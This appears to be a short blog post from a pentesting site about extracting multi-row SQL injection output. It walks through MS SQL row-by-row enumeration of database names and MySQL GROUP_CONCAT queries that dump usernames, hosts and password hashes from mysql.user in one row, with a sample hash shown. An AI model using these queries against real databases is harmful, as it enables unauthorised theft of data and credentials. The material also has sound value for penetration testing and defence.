IT Security Lab The Playground for IT Security Specialists and Pentesters

SQL multi-line output in a single line

When we are exploiting SQL injection - the most desired thing is to get as much information as possible in shortest time. Time matters, gentleman! So the very typical problem is: how to deal with multi-line output when the output... well, very often a one line or even less?... ;) Let's do it together.

Something very basic for the beginning: this query in MS SQL

SELECT name FROM master..sysdatabases

will produce more-or-less the following output:

master
tempdb
model
msdb
test
...

All is clear, right. So how we may get the rows one-by-one? This is the one of possible solutions:

SELECT TOP 1 name FROM master..sysdatabases
WHERE name not in (SELECT TOP 0 name FROM master..sysdatabases)

The query will return you the 1st item from the top: master
What is going to happen if we would change 0 to 1 in the subquery in brackets?

SELECT TOP 1 name FROM master..sysdatabases
WHERE name not in (SELECT TOP 1 name FROM master..sysdatabases)

Yes, we receive 2nd item from the top: tempdb. And so on. Easy.

If we are talking about MySQL - selecting a one particular row is so simple so it need no comments at all:

SELECT USER, HOST, PASSWORD FROM mysql.user LIMIT 0, 1

Ok, and now something completly different. A man with a stoat through his head.* ;) No no no. But imagine that in MySQL we want to have all output lines in one row, and execute the only one sql query? Still doable! See this:

SELECT GROUP_CONCAT(CONCAT(USER,0x40,HOST,0x3a,PASSWORD) SEPARATOR 0x7C)
FROM mysql.user

This gives us the following nice output: root@localhost:|root@127.0.0.1:|@localhost:|test@%:*94BDE19087AF4CFCE2A1F9F02F96

...which is exactly what we wanted. Some explanations regarding the special characters used:

0x7C --> |
0x40 --> @
0x3a --> :

You can use your own separators at your will. Nothing new really, but still good to remember.